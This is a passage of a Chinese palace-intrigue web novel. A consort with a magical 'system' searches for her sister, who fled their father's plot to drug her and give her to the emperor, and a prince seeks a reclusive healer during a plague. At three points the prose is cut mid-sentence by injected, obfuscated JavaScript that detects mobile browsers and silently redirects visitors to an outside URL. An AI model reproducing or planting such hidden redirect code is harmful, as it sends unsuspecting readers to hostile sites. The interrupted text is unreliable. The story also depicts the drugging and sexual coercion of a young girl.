高盼泪眼婆娑,神情决绝:“姐姐,你别管我。父亲他……他要我去给皇上……他疯了!” “所以你就想出了这种蠢办法?”不知怎的,她说出这句话的时候,脑海中突然浮现出了齐思铭的那张脸。 “你若真的去当尼姑,你以为父亲会为你流一滴泪吗?他只会觉得你这个不孝女,毁了他的青云路。皇上更是会认为你是个不识抬举的女人。这世上,只有母亲会为你肝肠寸断。你这出家,是想让亲者痛,仇者快?” 高盼握着剪刀的手抖得厉害:“可我还能怎么办?我若不去,他会打死我。” “可我若去了……”高盼哭的更厉害了,“那个男人,年龄都可以当我爹了!” “哭有什么用?” “你以为你的眼泪能淹死他,还是让他凭空消失?” 高盼被高玥冷冷的语气刺激的哆嗦了一下,“姐姐……你怎么可以这么说!你现在是贵妃娘娘,你当然不怕,可我呢?我算什么?我若不从,爹爹真的会打死我的!” “所以你就用一把剪刀来对抗他?”高玥轻轻握住那把剪刀,“高盼,你太天真了。你以为你削了发,父亲就会放过你?他只会把你送到另一个能为他换取利益的地方。” 这话像一盆冷水,浇在高盼的心上。 她怔怔地看着高玥,她的眼神太过平静,平静得让她害怕。 “不……不会的……”高盼的声音颤抖着,“爹他不会这么对我的……我可是他的亲女儿啊!” “亲女儿?”高玥嗤笑一声,她伸手,轻而易举地夺走了那把剪刀,扔在地上,“当初他送我进宫的时候,可曾问过我一句愿不愿意?你以为你和我,在他心里有什么不同?” “把眼泪擦干。”高玥将她揽入怀中,轻轻拍着她的背。“你的人生,应当掌握在你自己的手里。” “姐姐……我好怕……”高盼的声音带着浓浓的鼻音。 “不怕,”高玥的声音放得很轻,却带着安定人心的力量,“只要我还在这宫里一天,他就动不了你。这件事,我会处理。” 高盼渐渐止住了哭泣,似乎从高玥的话里寻到了一丝安全感,紧绷的身体也慢慢放松下来。 高玥看着高盼,望向了外面灰蒙蒙的天。 她心里很清楚,今日这场闹剧,不过是一个小小的水花。 只要高家还攀附着皇权,只要她还是玥贵妃,高士廉那颗被权欲熏黑了的心,就永远不会安分。 这个家,早已不是家,而是这场权力的旋涡中一个身不由己的存在。 她自己是,高盼是,甚至连母亲也是。 除非……她能拥有真正足以庇护家人的力量。 一种,不必再看任何人脸色,能够制定规则,而不是被动遵守规则的力量。 次日,高玥的预感应验了。 高士廉竟真的铁了心,命人送来一件薄如蝉翼的纱衣,强令高盼穿上。 那件所谓的纱衣,根本不能算得上衣服。 高盼正值豆蔻,身段已初成,那件薄纱松垮地罩在身上,非但没能遮住分毫春色,反而更添了一抹欲说还休的朦胧。 而高高在上的皇帝,此刻的眸子像极了看到猎物的野兽,迸发出灼热的精光。 高盼的脸早已煞白如纸,端着酒杯的手抖得几乎要握不住。 高士廉清了清嗓子,催促与警告的意味不言而喻。 高盼一个激灵,只得强忍着屈辱和恐惧,迈着碎步上前,“臣女……敬,敬陛下……” 话音未落,皇帝便哈哈一笑,那笑声在高盼听来格外刺耳。 他甚至懒得去接那杯酒,只是朝自己身边的锦垫拍了拍,语气带着不容置喙的命令:“敬什么酒,过来,坐朕旁边来。” 一杯接着一杯,皇帝像是找到了什么有趣的玩物,乐此不疲地给她劝酒。 高盼的脑子开始变得昏沉,脸颊也泛起不正常的粉红,她能感觉到皇帝那双粗糙的手掌,她背后游走,每一次触碰都让高盼感到一阵恶心。 不行,再这样下去…… 她猛地推开皇帝的手,借着酒劲摇摇晃晃地站起身,因为起得太急,眼前一阵发黑。 “陛下……”高盼的声音抖得不成样子,“臣女……臣女实在不胜酒力想……想去方便一下,还请陛下恩准。” 皇帝哈哈大笑,不在意地挥了挥手,放她离开。 高盼逃也似地离开宴席,胃里一阵翻江倒海,几乎要当场吐出来。 她不敢回房,想去后山喘口气,却无意中听到两个家仆的低语。 “老爷真是下了血本,连‘合欢散’都用上了,就等小姐从宴席回来,一杯下去,生米煮成熟饭,咱们高家就又出一位娘娘了!” “可不是嘛,咱高家可真是命好!” 合欢散? 高盼只觉得一道惊雷在脑中炸开,浑身的血液都凝固了。 父亲……她的亲生父亲,竟然要对她用这等下作的手段! 她跌跌撞撞地跑回自己的院子,反锁上门。 她不能留在这里,一刻都不能! 她翻出箱底一套仆役衣裳,手忙脚乱地换上,又用香灰抹花了脸。 她记得曾听母亲说过,城外有座风清庵,是清静之地,她要去那里! 可当她走出房门,又开始犹豫。 府里不知何时加强了戒备,到处都是巡逻的家丁,想跑出去,简直难如登天。 “小姐,您这是要去哪儿?” 高盼吓了一跳,转身见到是张婆子,眼泪瞬间夺眶而出。 她抓住张婆子的手,将事情和盘托出,哀求道:“张妈妈,求你,别说出去,救救我!” 张婆子的眼中闪过一丝不忍,她叹了口气:“小姐,您跟我来,老奴知道城外有座破败的小庙,平日里香火断绝,您先去那里避一避。” 张婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315872|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子利用自己采买的身份,将高盼藏在装泔水的木桶里,趁着夜色,有惊无险地混出了高府。 高士廉左等右等,眼看宴席都快要散了,依旧不见高盼的踪影,心中焦躁不已。 皇帝已是醉眼迷离,却还时不时地念叨着“美人儿”,显然兴致未减。 一炷香的功夫后,管家脸色惨白地快步回来,附在高士廉耳边,声音抖得不成样子:“老爷,不好了……小姐……小姐她……跑了!” 高士廉握紧了酒杯,但面上依旧维持着谦恭的笑容,对皇帝敬了杯酒,找了个由头便匆匆离席。 “废物!一群废物!连个人都看不住!”他一脚踹翻了跪在地上的家丁。 就在这时,他脑中却突然闪过一个念头。 皇帝醉得厉害,昏暗的灯光下,未必能看得清高盼的脸…… 狠厉之色在他眼中一闪而过。 他叫来管家,低声吩咐了几句。 片刻后,一个身形与高盼有几分相似的清秀丫鬟,被灌了药,送进了皇帝的龙床。 翌日清晨,合欢散的余味与浑浊的酒气混杂在寝殿内。 贴身伺候的王公公早已捧着醒酒汤候在一旁,见皇帝醒了,连忙跪地伺候。 他小心翼翼地觑着皇帝的脸色,轻声说道:“陛下,昨夜那个女子,并非高家二小姐,而是一个府里的丫鬟。这个高士廉真是胆大包天,竟敢行此欺君之事,要不要治他一个死罪?” 皇帝接过茶盏,指腹摩挲着温热的杯壁,脸上看不出喜怒。 他转过头,语气中带着一丝猎人发现猎物般的兴味:“这高家的二小姐,倒是个烈性子。” “有趣,朕……更想要了。” “至于昨晚的那个丫鬟,你知道该怎么处理的。” 王德春瞬间心领神会,默默退下。 而高士廉那边,全城搜捕高盼的命令,已经下达。 一连几天,高盼都杳无音信。 高玥心中那股不祥的预感越来越重。 她忽然想起,高盼之前提过一嘴,要去城外的风清庵。 她立刻以替母亲祈福为由,带着翠儿,前往风清庵。 风清庵坐落在半山腰,知客僧将她引入殿内,住持亲自出来接待。 高玥开门见山,低声问道:“师太,实不相瞒,本宫是来寻人的。家妹高盼,前几日可曾到贵庵叨扰?” 年迈的住持双手合十,摇了摇头,神色坦然:“贵妃娘娘,出家人不打诳语。本庵从未见过您所说之人。” 从未见过? 高玥的心沉了下去。 …… 与此同时,千里之外的淮北。 防疫措施已初见成效,原本迅速蔓延的疫情,被他以雷霆手段划分出的隔离区牢牢锁住,新增的病患数量开始逐日下降。 然而,这只是将猛虎关进了笼子,笼中的人却依旧被疫病侵扰。 药材一日比一日紧缺,城中大夫累倒了十数个,连勉强熬煮出的汤药,都稀得能照出人影。 这样下去不是办法。 “王爷。”王友的神情有些犹豫。 “我打听到一件事,只是不知当讲不当讲。” “不当讲就不要讲了。”齐思铭看着手中送来的病患名单,头抬也没抬。 王友心下一横,低声说道,“在下听闻,在离此地不过百里的青峰山上,住着一位神医,医术通神,有活死人、肉白骨之能。只是……” 他顿了顿,见齐思铭终于抬眼看向他,才接着说下去:“只是此人脾性古怪至极,从不轻易出手。据说,他立下规矩,非三不救。而这规矩究竟是什么,却无人知晓。听闻前些年,京中有位皇亲国戚慕名求医,备下千金厚礼,却连他的山门都没能进去,被原封不动地挡了回来。” 25. 温柔乡里探先机 王友的话音刚落,齐思铭身旁一位将领冷哼了一声。 此人正是齐思铭的另一位部下,张唯。 与王友不同,张唯向来信奉的是最直接的手段。 “什么狗屁神医,什么三不救,我看这些都不过是故弄玄虚的把戏罢了!” “如今淮北是什么光景?百姓们日日都在等死,哪还有时间跟他耗着?” 帐中几位部下也都纷纷附和,连日来疫病蔓延,别说是百姓了,就连他们各个都人心惶惶。 齐思铭垂着眼,他没有看张唯,指尖有一搭没一搭地敲着桌面。 “绑来?”他的语气中听不出喜怒,“他若存心不救,纵然人在此处,又有何用?我求的是医术,不是人。” “王爷,”王友像是想到什么一样,补充道,“在下查到,这位孙神医,性情孤僻,不求名利,平生所愿,唯有一物。” “龙血藤。” 这三个字一出,帐内瞬间安静下来。 这龙血藤是传说中的奇药,据说有活死人肉白骨之效,可数百年来,只闻其名,未见其踪。 “这不比绑人还难!”张唯嗤笑了一声,“多少人想找这东西,连根毛都没看着。” 齐思铭原本敲击着桌面的手指,不知何时停了下来,他长久地垂着眼,纤长的睫毛下投出一片晦暗的阴影,让人看不清他此刻的情绪。 帐中的部下们此刻全都都屏住了呼吸,连张唯也识趣地闭上了嘴,所有人的目光都汇集在主位上那个沉默的男人身上。 他们知道,王爷正在权衡,而他的每一个决定,都关乎着淮北百姓的生死。 时间仿佛在这一刻被拉长。 不知过了多久,齐思铭终于抬起头。 “王友。”齐思铭开口。 “属下在!” “淮北堪舆图。” 王友不敢有丝毫怠慢,立刻从一旁的木箱中取出一卷羊皮地图,小心翼翼地在桌案上铺开。 那是一副极为详尽的地图,山川、河流、城池、关隘,无一不备。 齐思铭站起身,俯身在地图之上,目光从青峰山的位置开始,一寸寸地扫过图上的山脉与河道。 最终,停在了一处人迹罕至的深谷标记上。 “天下万物,皆有其生长规律。”齐思铭划过图上一片深红色的区域,“龙血藤喜暖畏寒,好湿恶涝,多生于悬崖峭壁的岩石缝隙中,且需朝露晚霜滋养。 而符合这些条件的,整个淮北不出三处。” 帐中方才还因疫病与龙血藤而焦躁的众人,此刻的心中只剩下无声的震动。 谁能想到,在他们因为这传说中的神药而束手无策的时候,他们的王爷,竟能冷静地将一个几乎不可能完成的任务,拆解成清晰可行的步骤。 这哪里是寻药,这分明泰山崩于前而色不变,于绝境之中劈开一条生路。 青峰山山路崎岖,齐思铭只带了王友与四名亲卫,轻车简从,步行上山。 神医的茅庐掩在半山腰一片竹林深处,简陋得与寻常山野村夫的居所无异。 院中晾晒着各色草药,刚进门,浓郁的中药香便扑鼻而来。 一位身形干瘦的老者正在院中捣药,听见脚步声,头也未抬,声音悠闲地说道:“闲人免入,求医滚蛋!” 王友面色一沉,正要发作,齐思铭却上前一步,躬身行了一礼。 “晚辈齐思铭,冒昧来访,还望先生见谅。” 那老者捣药的动作一顿,抬起头,将齐思铭从头到脚打量了一遍,最后嗤笑一声:“齐王爷?我这破茅庐可招待不起。” 齐思铭似乎是没有听到老者口中的揶揄,依旧是再次躬身,“先生说笑了。晚辈此番前来,并非为自己,而是为淮北正饱受疫病之苦的万千百姓,恳请先生出山,救他们于水火。” 听到“百姓”二次,孙神医终于停下了手中的动作,他抬头看向齐思铭,半晌,嘴角扯出一抹讥笑。 “救他们?”他重复了一遍,像是在品味这句话有多可笑,“王爷真是一副慈悲心肠。只可惜,人各有命,富贵在天。” “是病是死,那是他们的定数。便是全都死绝了,那也是他们的命。” “你!” 王友的拳头已经捏得咯咯作响。 齐思铭却恍若未闻,从袖中取出一卷图纸,双手奉上。 “晚辈听闻先生之名,知先生风骨,不敢以俗物相扰。今日前来,除了求医,还有一事。” 他顿了顿,声音诚恳。 “晚辈于医术一窍不通,但却在堪舆地理上略有心得。此图详录了淮北山川地貌与气候变迁,或可为先生寻觅‘龙血藤’,提供一二助力。” 听到“龙血藤”三个字,孙神医脸上的表情一点点褪去。 过了足足半晌,他才哑着嗓子,从牙缝里挤出几个字,“图,拿来给我看看。” 只看了一眼,他的脸色就变了。 堪舆图他也曾见过不少,可能将堪舆图做到如此详尽的,只此一份。 图上的三处用朱砂红标记的地方尤为醒目。 “断龙崖,南坡七百尺处,背阴向阳,午后日照不过三时,可避烈日灼伤。晨间雾气最重,可保藤身湿润。” “一线天,谷底有暗河,水汽充沛,岩壁为青石岩质,多天然裂隙,利于根系攀附。” “小青峰,此山土质偏红,富含铁石,山顶有一小潭,常年不涸,湿度适宜。据前朝旧志,此地曾有异香传出,疑为龙血藤之气。” 他沉默了许久,将图纸小心翼翼地卷起,重新看向齐思铭。 “你倒是与那些草包权贵不同。”孙神医开口。 “不过……” “断龙崖,一线天,小青峰……王爷倒是会挑地方。这图上标记的每一处,都是寻常人有去无回的绝地险境。” “你莫不是想让老夫这一把老骨头,为了你这虚无缥缈的几句推测,就去那悬崖峭壁上拼命?” 齐思铭闻言,只是淡淡一笑,“先生说笑了。” “先生乃是悬壶济世的国手,晚辈怎敢劳烦先生亲赴险境。” “晚辈不才,麾下尚有几位粗通拳脚的武人。这采药之事,自当由他们代劳。别说是这三处险地,便是刀山火海,晚辈也定会为先生将‘龙血藤’取来。” 他的声音不疾不徐,但话语中的分量,却让孙神医无法忽视。 “这份礼,老夫收了。不过,老夫从不欠人人情。你想让我下山,还需回答我一个问题。” 他伸出一根手指,指向西边。 “西山矿场有个矿工,三十出头,体虚乏力,咳痰带血,盗汗不止已有月余。镇上的大夫说是痨病,药吃了一箩筐,人却一天比一天虚。你若能说出个子丑寅卯,老夫便随你走一趟。” 这分明是强人所难。 王友急道:“王爷,他这是刁难您!” 齐思明却抬手示意他安静,他凝神思索片刻,并未直接回答病理,反而问道:“除了这些,他生活起居可有异处?譬如饮食、作息,或是水源?” 孙神医眼中闪过一丝不易察觉的光芒,嘴角露出一丝玩味的笑:“哦?他与旁人饮食无异,唯独饮水,取自后山北坡的一道山泉。” “北坡的山泉……”齐思铭低声重复,脑海中却不自觉地浮现出那张堪舆图。 他抬起头,直视孙神医。 “晚辈虽不知病理,但我上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315873|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山时见西山北坡林木茂密,地面阴湿,日光难至,想必是常年瘴气弥漫。矿工劳作,肺腑本就易损,若再日日饮用此等阴湿之地渗出的泉水,其中恐有肉眼难见的毒物。长年累月,毒素侵入脏腑,症状与痨病相似,但病根迥异。寻常汤药,自然无用。” 王友目瞪口呆,他完全没听懂,但他看懂了孙神医的表情。 孙神医死死盯着齐思铭,半晌,突然放声大笑。 “好!好一个‘病根迥异’!哈哈哈!天下人都道齐王爷不容小觑,今日一见,才知其才智谋略,远胜虚名!” 他将药杵往石臼里一扔,转身便进屋收拾东西。 “走!去看看你说的,是不是你想的那样!” 而与此同时,千里之外的山城高府,气氛同样凝重。 高玥独自站在高盼的闺房之中。 风清庵一行,扑了个空。 庵里的姑子说高盼从未去过,那这条线索便彻底断了。 房间里一尘不染,物件摆放得整整齐齐,熏香的味道都恰到好处,仿佛主人只是暂时外出。 “难道是她偷偷溜出去散心几天?还是我多虑了?” 她屏退了所有下人,关上房门。 【系统,启动环境扫描。】 一道淡蓝色的光幕在她眼前展开,迅速扫过整个房间。 片刻后,在梳妆台的一条桌腿下,一个微弱的红点闪烁起来。 高玥走过去,从那处捻起一点几乎看不见的白色粉末。 粉末无色无味,她放在鼻端轻嗅,随即感到一阵轻微的眩晕。 迷药。 高玥的眼神骤然变冷。 她的视线在房中再次查看,最后定格在妆台的一个角落。 那里放着一枚平安符,这本该是高盼贴身之物。 她走过去,正要拿起,系统的提示音在脑中响起。 【物品:平安福】 【最后接触人:张婆子】 【最后接触时间:两个时辰前】 张婆子? 在宿主的记忆中,这个张婆子是高盼的贴身乳娘,看着她长大的。 l两个时辰前? 高盼失踪已近一日,为何张婆子在两个时辰前还会接触到这枚平安符? 她一言不发,快步走出房间。 “张婆子呢?”她抓住一个小丫鬟问道。 小丫鬟吓了一跳,怯生生地回话:“回……回娘娘,张嬷嬷一早就告了假,说家里亲戚病重,要回去几天。” 告假? 在这个节骨眼上? 所有的线索在瞬间串联起来: 被刻意打扫过的房间,遗落的迷药粉末,本该随身携带却被留下的平安符,以及突然“告假”的张婆子。 高玥只觉一股寒气从背脊升起,她强迫自己冷静下来,转身往回走。 当务之急,不能打草惊蛇,而是要找出张婆子和高盼的下落。 她心事重重地穿过花园,一群身着彩衣的舞姬正嬉笑着经过。 这些舞姬是这两日给皇帝献舞的舞姬,一阵清风拂过,高玥的脚步猛地一顿。 那香气,混杂在廉价的脂粉味中,若有若无,却带着一丝熟悉的,令人微微眩晕的甜腻。 跟刚刚在房中那个粉末的味道一样! 她快步走过去,拦住为首的一人,声音里听不出情绪:“你们是从哪里来的?” 那舞姬被她的气势所慑,不敢隐瞒,连忙屈膝道:“回贵妃娘娘,奴婢们来自红袖阁。” 红袖阁。 张婆子,迷药,红袖阁的舞姬…… 线索没有断。 它只是指向了一个更加黑暗的深渊。 26. 翠钗叩门问幽深 厅堂内,熏香缭绕,面前的高士廉,此刻正忙着张罗下人准备他那些个古玩字画。 那些是准备孝敬皇帝的。 而对于高盼前些时候的“失踪”,他仿佛已经全然抛在脑后。 高玥静静地坐着,指尖无意识地摩挲着茶盏的杯壁,高士廉的那些钻营的话语,此刻一句都没有落在她的耳朵里。 红袖阁。 粉末……张婆子…… 如果说张婆子将高盼迷晕,然后再送进红袖阁…… 那她为什么要这么做?她这么大的年纪了,应该犯不上去做一些铤而走险的事情。 那红袖阁里,究竟藏着什么? 高玥放下茶盏,发出一声清脆的轻响。 看来,这红袖阁她是非去不可了。 高玥的眼底闪过一丝决断。 “翠儿。”她扬声唤道。 翠儿应声而入,见她面色凝重,不由得放轻了脚步:“娘娘有何吩咐?” 高玥状似疲惫地揉了揉眉心,声音也带上了一丝倦意。 “也不知是近来烦心事太多,我夜里总是睡不踏实,脑子里乱糟糟的。”她轻叹了一口气,“你悄悄出去一趟,给我抓些安神助眠的药回来。” 翠儿的脸上立马写满了担忧,“娘娘定是最近因为二小姐的事情而烦忧,奴婢这就去,一定挑那药效最好的给您带回来!” “嗯。”高玥微微颔首,又叮嘱了一句,“就说是本宫近来心绪不宁,需要静养,速去速回,莫要声张。” “奴婢明白!”翠儿不敢耽搁,转身快步退了出去。 看着翠儿匆匆离去的身影,高玥缓缓重新拿起茶盏。 她睡得不好是真的,但是很快有人可以睡得更好了。 她淡淡地瞥了一眼不远处的高士廉,那个人正对着一幅前朝山水画啧啧称奇,对自己这里的动静浑然不觉。 很好。 高玥打开系统的界面,在蓝色光屏上划动了几下,便很快锁定了一个小小的图标。 强效安眠药剂。 万事俱备,只欠东风。 月上柳稍。 高玥坐在桌边静静地等待着。 她特意换上了一袭红榴色的薄纱裙,纱衣轻薄,隐约可见她白皙如玉的肌肤和纤秾合度的身段。 桌上,是她亲手吩咐小厨房备下的几样精致小菜。 “皇上驾到——” 高玥连忙起身,盈盈一拜。 “爱妃今日似乎格外热情。”皇帝把玩着她的一缕发丝,带着帝王惯有的审视。 “臣妾日日都盼着皇上,哪一日不热情了?”高玥侧身倚进他怀里,声音娇媚,“倒是陛下,为国事操劳,龙体要紧。臣妾特意备了新酿的葡萄酒,为您解乏。” 她拍了拍手,翠儿便端着托盘上前,上面放着一尊琉璃酒壶和两只夜光杯。 高玥亲手为皇帝斟满一杯,将酒杯递到皇帝唇边,眉眼弯弯:“皇上,请。” 皇帝的目光落在她脸上,似乎想从她的笑容里看出些什么。 他没有立刻喝酒,反而问道:“这酒,与往日的不同。” 一句话,让高玥的心提到了嗓子眼。 他发现了?不会啊,她特意闻了一下,那药物并无其他特殊气味,这才放心拿来使用的。 高玥面上依旧是柔情似水。 她的指尖轻轻划过皇帝的手背,轻轻笑道:“这是父亲私藏的葡萄酒,说是有奇效,能让人忘却烦忧,一夜好眠。臣妾想着皇上定会喜欢,便擅作主张留下了。” “皇上,您不会是要怪臣妾吧……” 这番话说得滴水不漏,既捧了皇帝,又解释了酒的来历。 “朕是说,”皇帝的心情似乎很好,慢悠悠地补充道:“这酒,比往日的更加香气扑鼻,醇厚醉人,爱妃费心了。” 酒过三巡,菜过五味。 皇帝的动作逐渐迟缓,眼皮也变得沉重。 高玥扶着他躺到龙床上,柔声哄着,没过多久,身侧便传来了均匀的呼吸声。 高玥足足耐心等了一炷香的功夫,才小心翼翼地坐起身。 她动作极快地翻身下床,三两下褪去繁复的宫装,翻出早已备好的一套男子衣衫。 片刻之后,铜镜里映出的已是一位身形清瘦,眉目如画的俊俏公子。 她快步走到窗边,取出一枚精致的银哨,吹出几声规律的哨音。 几乎是哨音落下的瞬间,偏门被无声地推开一道缝隙,翠儿紧张的脸庞探了进来,对她用力点了点头。 高玥看了一眼床上沉睡的帝王,眼中没有丝毫留恋。 她提起衣摆,身形如猫一般,悄无声息地走出偏门。 山城的夜晚比白日更多了几分靡丽。 红袖阁的门前更是车水马龙,悬挂的数百盏大红灯笼将半条街都映照得如同白昼。 空气中弥漫着浓郁的脂粉香和酒气,夹杂着女子的娇笑与男子的高谈阔论。 高玥一袭青衫,混在人群中,显得有些格格不入。 她刚走到门口,就被一个打扮得花枝招展的妈妈拦住了去路。 想必这就是红袖阁的鸨母了。 只见她一双精明的眼睛上下打量着高玥,见她衣着朴素,脸上的笑容淡了三分。 “哟!这位小公子,”鸨母手帕轻轻一甩,嗤笑一声,“瞧您这细皮嫩肉的模样,身上这件青衫怕是连二两银子都不值吧?” “听妈妈一句劝,我们这红袖阁可不是你该来的地方。还是赶紧回家去,点灯熬油,来年求个功名才是正经。别在这儿学人家风花雪月,挡了贵客的道儿了。” 说完,她身后立刻站出两个膀大腰圆的护院,眼神不善地盯着高玥。 周围一些寻欢客投来鄙夷或看好戏的目光。 高玥轻笑了一声,“妈妈这是说的什么话。”她抬起眼,“我来这里,自然是备了好东西给姑娘们的。” 说完,她不紧不慢地从袖中取出一物。 那是一支碧玉钗,温润通透,在灯笼的红光下流转着一层莹润的光泽,水头极好,绿得几乎要滴出水来。 这等成色的琉璃翡翠钗,整个大胤朝,怕是也只有宫里的贵主们才能拥有。 鸨母那双精明的眼睛瞬间就直了,死死地钉在那支玉钗上。 “哎哟!是小的有眼不识泰山!原来是贵客啊!”她狠狠抽了自己一个耳光,“贵客里面请,快里面请!给您备最好的雅间!” 说完,她还狠狠地瞪了身边的人一眼,随即便换上了一副谄媚的笑容。 “都长点眼色!这位是天大的贵客,谁要是怠慢了,仔细你们的皮!” 高玥被这番动静引得众人瞩目,微微蹙眉。 她此番前来是为了探查红袖阁,并不想如此高调。 “不必雅间,大堂即可。” “是,是,听贵人的。”鸨母不敢有任何异议,连忙将她引到大堂一个视野最好的位置。 高玥坐下,目光扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315874|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过整个大堂。 正中央是一座精雕细琢的舞台,上面有女子正抱着琵琶,浅唱低吟。 这里的姑娘们个个身姿窈窕,举止有度,或为客人添酒,或与客人对弈,眉梢眼角皆是风情,却并无半分低俗的谄媚。 而那些客人,也大多是衣着光鲜的富商或文人雅士,举止间倒也守着几分体面。 与其说是青楼,倒不如说是一个以美色和才艺为点的社交场。 她不动声色地观察着,很快便锁定了一个目标。 邻桌的一个中年男子,衣着华贵,却独自饮酒,眼神并不在那些妖娆的舞姬身上,而是带着一种审视的意味,打量着那些舞姬。 高玥心念一动,端起酒杯主动走了过去。 “这位兄台,一个人喝酒多无趣,小弟初来乍到,可否有幸与兄台共饮一杯?”她学着台下那些纨绔子弟的语气,带着几分自来熟的熟稔。 那男子抬眼看她,眼中闪过一丝警惕,但在看清高玥那张俊秀无害的脸后,警惕又化作了然。 大概是把她当成了哪家偷跑出来见世面的富家少爷。 “坐。” 高玥也不客气,在他对面坐下,为他满上一杯酒。 “小弟姓高,不知兄台如何称呼?” “免了,萍水相逢,不必深交。”男子端起酒杯一饮而尽,显然不愿多谈。 “兄台说的是。”高玥也不恼,从怀中摸出一张百两的银票,轻轻推到男子面前,“小弟第一回来这种地方,很多规矩不懂,还望兄台指点一二。这点银子,就当是请兄台喝酒了。” 男子的眼睛亮了一下,他不动声色地将银票收入袖中,态度却缓和了不少。 “算你小子懂事。”他重新打量了高玥一番,“看你年纪轻轻,出手倒是阔绰。” “小弟听闻这红袖阁乃是山城第一风流地,只是看这光景,似乎也不过如此?”高玥的脸上露出了失望的表情。 男子闻言,发出一声嗤笑。 “不过如此?小子,你懂什么。”他压低了声音,身体微微前倾,“这大堂里的姑娘,不过是些上不得台面的开胃小菜。” 他朝着楼上扬了扬下巴,眼神变得神秘起来。 “真正的好东西,都在上面。这红袖阁,有明暗两层。你现在看到的,是明面上的生意。而那暗里的,才是它真正让人流连忘返的地方。” “暗里的?”高玥顺着他的话追问。 “没错。” “那可不是你有银子就可以的,你得有门路,有身份。上面的姑娘,每一个都身怀绝技,琴棋书画、异域风情,甚至……还有些你想都想不到的刺激玩意儿……” 高玥的眼中闪烁着好奇:“听兄台说得如此神乎其神,想必是楼上的常客了?” 谁知那男子像是被戳中了痛处,随即干咳一声来掩饰自己的尴尬。 “我?我可没那福分。” 说着,他又将高玥从头到脚打量了一遍,带着一丝过来人的告诫:“不过我看你这小兄弟,也还是省省吧。别以为有几个钱就能为所欲为,楼上那地方,可不是咱们这种人能肖想的。” 高玥的心沉了下去,看来这里比她预想的还要复杂。 她看着眼前的男子,知道今晚的突破口就在他身上。 “那要如何才能上去?” 男子咧嘴一笑,凑近说道。 “既然你这么想去,倒也不是没法子。不过这引路钱,可不是刚才那点就能打发的。” 27. 金蝉脱壳戏权贵 那个男子伸出五根手指,一双眼睛紧紧盯着高玥。 高玥看着那五根在她面前晃悠的手指,点了点头。 不动声色地从袖中摸出一张银票,轻轻拍在桌上。 “五百两,成交。带我上去。” 看到这张银票,面前的男子从鼻子里发出了一声轻蔑地冷哼。 “五百两?”他的表情就像是看傻子一样,“你不会以为这三层是谁都能上去的吧?”、 五百两银子,对于寻常人家已是天文数字,可在这里竟只换得了一声嗤笑? 她再次看向面前的男子,一个荒唐的念头从心底腾起。 如果不是五百……那难道是五千两?! 这简直就是明抢! 高玥的脸色变了几变,最后讪讪开口,“五千两……这位大哥,你可知,别说这五千两了,就连五百两可都不是普通人家能随随便便出得起的。” 谁知那男子像是意料之中似的,朝着楼上努了努嘴。 意思就是,“你出不起,有的人出得起。” 五千两…… 她心中反复默念着这个数字,只觉得荒唐。 如今河北河道决堤,流民遍地,饿殍载道。 淮北又起了瘟疫,不知多少百姓在死亡的边缘上挣扎。 可这纸醉金迷的地方,却有人一掷千金,只为片刻的欢愉。 这世道,原来早已烂到了骨子里。 正当她思忖对策的时候,眼角余光瞥见楼梯处走下来一道熟悉的身影。 那人锦衣华服,怀里搂着一个哭哭啼啼的小娘子,脸上带着酒色过度的潮红与不耐。 是户部侍郎李家的公子,李显。 高玥见过他几次,在宫宴上跟在自家老爹身后,一副唯唯诺诺的样子,没想到私下里竟是这般放浪形骸。 高玥直直地盯着他,一个念头在在脑海中飞速成型。 她敛了敛笑容,换上窘迫的模样,微微叹了口气,装作有些为难地说道:“可是五千两这也太多了。我今日出门急,身上只带了些散碎银子,不知兄台可否行个方便?事成之后我定不会少了兄台的!” 那男子听到这番话,脸上的笑容满满僵住。 他上下打量了高玥几眼,见她虽衣着不凡,但细看衣服的料子纹案也都非顶级,再加之她现在面容窘迫的样子,想必只是个普通商贾之流罢了。 本来见他过来时候气质不凡的样子,还想着能蹭着光到三楼见见世面,可如今…… 他心中冷笑了一番,声音提高了好几度。 “没钱?” “没钱你来这儿装什么大爷,搞了半天,是个打肿脸充胖子的穷光蛋!” 他的声音也引来了楼梯间李显的注意。 他本就因怀中女子的哭闹而烦躁,此刻更是被这争执吵得头疼,不耐烦地看向高玥这边。 他怀中的小娘子趁着他分神的功夫,想从他手臂中挣脱出去,可还没来得及挣扎,就被李显狠狠拽了回来。 “老实点!”李显低声呵斥。 安抚了怀中的人,李显再次看向高玥。 这女人的脸……怎么有些面熟? 他皱眉思索,却怎么也想不起来究竟在何处见过,只得作罢。 而高玥也察觉到了李显的目光,不自觉地别过了头去,正好呈现一个背对的姿势。 待悄悄回过头时,看到李显拖拽着那名女子离开红袖阁,她悄悄松了口气。 